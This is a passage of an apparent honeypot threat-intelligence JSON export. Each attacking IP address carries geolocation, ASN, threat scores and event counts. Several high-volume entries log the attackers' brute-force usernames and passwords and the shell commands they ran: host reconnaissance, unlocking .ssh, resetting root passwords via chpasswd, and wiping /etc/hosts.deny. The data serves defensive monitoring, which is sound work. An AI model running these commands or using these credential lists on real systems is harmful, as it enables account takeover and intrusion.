      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "213.91.178.191": {
      "attack_count": 2,
      "first_seen": "2026-03-04T14:57:40.914Z",
      "last_seen": "2026-03-04T14:57:57.094Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Burgas",
      "asn": 8866,
      "as_org": "Vivacom Bulgaria EAD",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T14:57:40.914000+00:00",
        "last_seen_30d": "2026-03-04T14:58:58.428000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.135.254.123": {
      "attack_count": 2,
      "first_seen": "2026-03-12T14:44:47.975Z",
      "last_seen": "2026-03-12T14:45:02.055Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Kaohsiung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T14:44:47.975000+00:00",
        "last_seen_30d": "2026-03-12T14:46:06.612000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "36.232.101.45": {
      "attack_count": 2,
      "first_seen": "2026-03-25T08:17:32.260Z",
      "last_seen": "2026-03-25T08:18:03.071Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T08:17:32.260000+00:00",
        "last_seen_30d": "2026-03-25T08:19:12.766000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.186.33.225": {
      "attack_count": 2,
      "first_seen": "2026-03-30T03:11:24.974Z",
      "last_seen": "2026-03-30T03:11:56.513Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Te\u00f3filo Otoni",
      "asn": 269425,
      "as_org": "RN TELECOMUNICACOES EIRELI",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T03:11:24.974000+00:00",
        "last_seen_30d": "2026-03-30T03:13:04.883000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.186.33.241": {
      "attack_count": 2,
      "first_seen": "2026-03-28T08:48:25.374Z",
      "last_seen": "2026-03-28T08:48:56.992Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Te\u00f3filo Otoni",
      "asn": 269425,
      "as_org": "RN TELECOMUNICACOES EIRELI",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T08:48:25.374000+00:00",
        "last_seen_30d": "2026-03-28T08:50:06.269000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.183.123.206": {
      "attack_count": 2,
      "first_seen": "2026-03-23T07:03:39.987Z",
      "last_seen": "2026-03-23T07:03:54.307Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Amritsar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T07:03:39.987000+00:00",
        "last_seen_30d": "2026-03-23T07:05:00.547000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "61.108.29.102": {
      "attack_count": 2,
      "first_seen": "2026-03-30T17:44:23.285Z",
      "last_seen": "2026-03-30T17:44:36.497Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Cheongju-si",
      "asn": 9770,
      "as_org": "LG HelloVision Corp.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T17:44:23.285000+00:00",
        "last_seen_30d": "2026-03-30T17:45:45.659000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "62.196.41.132": {
      "attack_count": 2,
      "first_seen": "2026-03-31T01:41:10.098Z",
      "last_seen": "2026-03-31T01:41:22.956Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 3302,
      "as_org": "Retelit Digital Services S.p.A.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T01:41:10.098000+00:00",
        "last_seen_30d": "2026-03-31T01:42:25.444000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "78.186.125.98": {
      "attack_count": 2,
      "first_seen": "2026-03-02T13:30:00.364Z",
      "last_seen": "2026-03-02T13:30:32.603Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Ankara",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T13:30:00.364000+00:00",
        "last_seen_30d": "2026-03-02T13:31:35.258000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "78.54.247.62": {
      "attack_count": 2,
      "first_seen": "2026-03-10T10:39:50.504Z",
      "last_seen": "2026-03-10T10:40:04.472Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Berlin",
      "asn": 6805,
      "as_org": "Telefonica Germany",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T10:39:50.504000+00:00",
        "last_seen_30d": "2026-03-10T10:41:08.174000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "1.214.197.163": {
      "attack_count": 769,
      "first_seen": "2026-03-09T11:29:39.102Z",
      "last_seen": "2026-03-31T10:04:48.005Z",
      "sessions": 72,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "hh",
        "verdaccio",
        "xml",
        "bin",
        "claude",
        "cristi",
        "demo",
        "developer",
        "home",
        "keycloak",
        "kishore",
        "meng",
        "planka",
        "pro",
        "ray",
        "recovery",
        "syncthing",
        "upload"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "12345",
        "1234543211",
        "12345678",
        "123456aa!",
        "123456asdfg",
        "123ubuntu",
        "1qazxcvbn",
        "2wsx#EDC4rfv%TGB",
        "852456",
        "Adm1n",
        "Demo123",
        "Go@123456",
        "Keycloak123",
        "Meng123",
        "P@ssw0rda",
        "Pass@word12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nf6OB6VAPmwfP\\nf6OB6VAPmwfP\\n\"|passwd",
        "echo \"12345\\n4zk06F884P0R\\n4zk06F884P0R\\n\"|passwd",
        "echo \"12345\\nJFy7V9e23ZAW\\nJFy7V9e23ZAW\\n\"|passwd",
        "echo \"root:DCdUFXMZ5Dy1\"|chpasswd|bash",
        "echo \"root:HXzjWWn704LT\"|chpasswd|bash",
        "echo \"root:RVvkZ6gZ3aos\"|chpasswd|bash",
        "echo \"root:zaTj9Mzkxe0T\"|chpasswd|bash",
        "echo -e \"12345678\\nf6OB6VAPmwfP\\nf6OB6VAPmwfP\"|passwd|bash",
        "echo -e \"12345\\n4zk06F884P0R\\n4zk06F884P0R\"|passwd|bash",
        "echo -e \"12345\\nJFy7V9e23ZAW\\nJFy7V9e23ZAW\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jongno-gu",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 61.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 29.8,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 953,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T11:29:39.102000+00:00",
        "last_seen_30d": "2026-03-31T10:05:57.788000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 769,
        "Suricata": 184
      }
    },
    "92.205.56.196": {
      "attack_count": 721,
      "first_seen": "2026-03-07T04:26:29.658Z",
      "last_seen": "2026-03-25T10:11:50.371Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "n8n",
        "pzserver",
        "rpcuser",
        "smbuser",
        "waf",
        "angel",
        "ann",
        "dispatcher",
        "distro",
        "doc",
        "eadmin",
        "es_user",
        "extern",
        "galleries",
        "ghost",
        "graphic",
        "guest",
        "guest123"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "1234",
        "@qwer2025",
        "@qwer2026",
        "Es_user123",
        "Mc123!",
        "P@ssw0rd01",
        "Sistemas123",
        "a123456789!",
        "admin@2024",
        "angelpass",
        "ann123!",
        "dispatcher",
        "distro",
        "doc",
        "extern",
        "galleries"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"n8n\\nBpGqLgzxzXVC\\nBpGqLgzxzXVC\\n\"|passwd",
        "echo \"pzserver123!\\nVHQz5ZKgrLAD\\nVHQz5ZKgrLAD\\n\"|passwd",
        "echo \"root:ciil1nJINbNS\"|chpasswd|bash",
        "echo \"root:zOdsLBq177P9\"|chpasswd|bash",
        "echo \"rpcuser\\nAGLBbqQiZaHn\\nAGLBbqQiZaHn\\n\"|passwd",
        "echo \"smbuser1234\\nrMnW59c3RRFh\\nrMnW59c3RRFh\\n\"|passwd",
        "echo \"wafpass\\nZkqYhq5KIFO4\\nZkqYhq5KIFO4\\n\"|passwd",
        "echo -e \"n8n\\nBpGqLgzxzXVC\\nBpGqLgzxzXVC\"|passwd|bash",
        "echo -e \"pzserver123!\\nVHQz5ZKgrLAD\\nVHQz5ZKgrLAD\"|passwd|bash",
        "echo -e \"rpcuser\\nAGLBbqQiZaHn\\nAGLBbqQiZaHn\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Strasbourg",
      "asn": 21499,
      "as_org": "Host Europe GmbH",
      "threat_score": 45.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.4,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 863,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T04:26:29.658000+00:00",
        "last_seen_30d": "2026-03-25T10:12:59.898000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 721,
        "Suricata": 142
      }
    },
    "103.139.192.221": {
      "attack_count": 591,
      "first_seen": "2026-03-08T23:17:40.229Z",
      "last_seen": "2026-03-18T09:56:04.354Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "dev1",
        "prince",
        "sklep",
        "alberto",
        "asterix",
        "azureuser",
        "big",
        "clawd",
        "csserver",
        "ex",
        "guest1",
        "incoming",
        "new",
        "oracle",
        "otsmanager",
        "printer",
        "reza"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "password",
        "1",
        "1234",
        "12345",
        "123456Aa",
        "1qaz2WSX",
        "Abc.123456",
        "Csserver123!",
        "Dev1123",
        "Incoming",
        "Passw0rd.",
        "Umar123!",
        "Webappuser123!",
        "Webmin123!",
        "admin123456",
        "alberto@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123\\nyl8VyVQUORDm\\nyl8VyVQUORDm\\n\"|passwd",
        "echo \"Dev1123\\n8iZgO4hAFs0S\\n8iZgO4hAFs0S\\n\"|passwd",
        "echo \"prince@123456\\nAVbC2ecC7wSe\\nAVbC2ecC7wSe\\n\"|passwd",
        "echo \"root:0ymVgp6EAzMz\"|chpasswd|bash",
        "echo \"root:D0g3CjehN77n\"|chpasswd|bash",
        "echo \"root:VbfeRnhlgw0g\"|chpasswd|bash",
        "echo -e \"123\\nyl8VyVQUORDm\\nyl8VyVQUORDm\"|passwd|bash",
        "echo -e \"Dev1123\\n8iZgO4hAFs0S\\n8iZgO4hAFs0S\"|passwd|bash",
        "echo -e \"prince@123456\\nAVbC2ecC7wSe\\nAVbC2ecC7wSe\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 28.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.5,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 707,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T23:17:40.229000+00:00",
        "last_seen_30d": "2026-03-18T09:57:12.947000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 591,
        "Suricata": 116
      }
    },
    "154.90.59.75": {
      "attack_count": 587,
      "first_seen": "2026-03-06T17:46:57.769Z",
      "last_seen": "2026-03-24T13:46:02.536Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "central",
        "clement",
        "n8n",
        "public",
        "alex",
        "ashish",
        "canon",
        "cw",
        "dev",
        "f",
        "felix",
        "geo",
        "hanul",
        "informatica",
        "mehedi",
        "noreply",
        "nx",
        "odin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "1234",
        "123456",
        "951753",
        "@qwer2025",
        "@qwer2026",
        "Admin@123!",
        "Geo123!",
        "Hanul123",
        "Pass1234",
        "Public123!",
        "Qwert!123456",
        "Test2123",
        "User1234",
        "Yy123456.",
        "alex1234",
        "ashish123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"central\\nA6ZVYMgB2iED\\nA6ZVYMgB2iED\\n\"|passwd",
        "echo \"root:15ZpceuLqPcz\"|chpasswd|bash",
        "echo \"root:PDzkhsPvVu85\"|chpasswd|bash",
        "echo \"root:bD1rKgtkvYpg\"|chpasswd|bash",
        "echo \"root:nC9Vb8YxFW69\"|chpasswd|bash",
        "echo -e \"central\\nA6ZVYMgB2iED\\nA6ZVYMgB2iED\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 138915,
      "as_org": "Kaopu Cloud HK Limited",
      "threat_score": 43.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.5,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 715,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T17:46:57.769000+00:00",
        "last_seen_30d": "2026-03-24T13:47:08.377000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 587,
        "Suricata": 128
      }
    },
    "172.208.24.217": {
      "attack_count": 425,
      "first_seen": "2026-03-09T18:04:09.262Z",
      "last_seen": "2026-03-25T07:32:17.845Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "bdos",
        "root",
        "superman",
        "testcase",
        "zw",
        "acer",
        "aditya",
        "alyson",
        "antivirus",
        "backupuser",
        "bugs",
        "celery",
        "consultor",
        "experiment",
        "fdrusers",
        "ftpsecure",
        "ftptest",
        "gabriel",
        "hackme"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "1",
        "12345678",
        "1@qWaSzX",
        "Aditya",
        "Consultor123",
        "Gabriel123",
        "Nextcloud123",
        "QWEasd123!",
        "Qiyuesuo123",
        "Server2",
        "alyson",
        "antivirus",
        "bdospass",
        "bugs",
        "celery",
        "experiment"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"supermanpass\\nESvVF8hKKcmN\\nESvVF8hKKcmN\\n\"|passwd",
        "echo \"testcase\\nKhqSe0uuQroa\\nKhqSe0uuQroa\\n\"|passwd",
        "echo \"zw1234\\nANRaIqI6YlmY\\nANRaIqI6YlmY\\n\"|passwd",
        "echo -e \"supermanpass\\nESvVF8hKKcmN\\nESvVF8hKKcmN\"|passwd|bash",
        "echo -e \"testcase\\nKhqSe0uuQroa\\nKhqSe0uuQroa\"|passwd|bash",
        "echo -e \"zw1234\\nANRaIqI6YlmY\\nANRaIqI6YlmY\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 42.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.3,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 537,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T18:04:09.262000+00:00",
        "last_seen_30d": "2026-03-25T07:33:19.495000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 425,
        "Suricata": 112
      }
    },
    "101.36.106.113": {
      "attack_count": 379,
      "first_seen": "2026-03-03T14:06:20.758Z",
      "last_seen": "2026-03-12T15:19:39.212Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "datacenter",
        "don",
        "astro",
        "claude",
        "dolphinscheduler",
        "emma",
        "hr",
        "manel",
        "patrick",
        "talha"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1234",
        "123456@A",
        "1qaz@WSX2025",
        "753159",
        "Ab12345678",
        "Dolphinscheduler123",
        "Emma123",
        "Passwd123",
        "Root111111",
        "User@123",
        "admin123!",
        "astro",
        "cN@123456",
        "datacenter",
        "hr",
        "password1@",
        "patrickpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"datacenter\\nlXfXdYHy0xUb\\nlXfXdYHy0xUb\\n\"|passwd",
        "echo \"password\\nFAKDfvUFst6N\\nFAKDfvUFst6N\\n\"|passwd",
        "echo \"root:feXv4rhB9Ixj\"|chpasswd|bash",
        "echo \"root:tVnI021H3WlP\"|chpasswd|bash",
        "echo -e \"datacenter\\nlXfXdYHy0xUb\\nlXfXdYHy0xUb\"|passwd|bash",
        "echo -e \"password\\nFAKDfvUFst6N\\nFAKDfvUFst6N\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
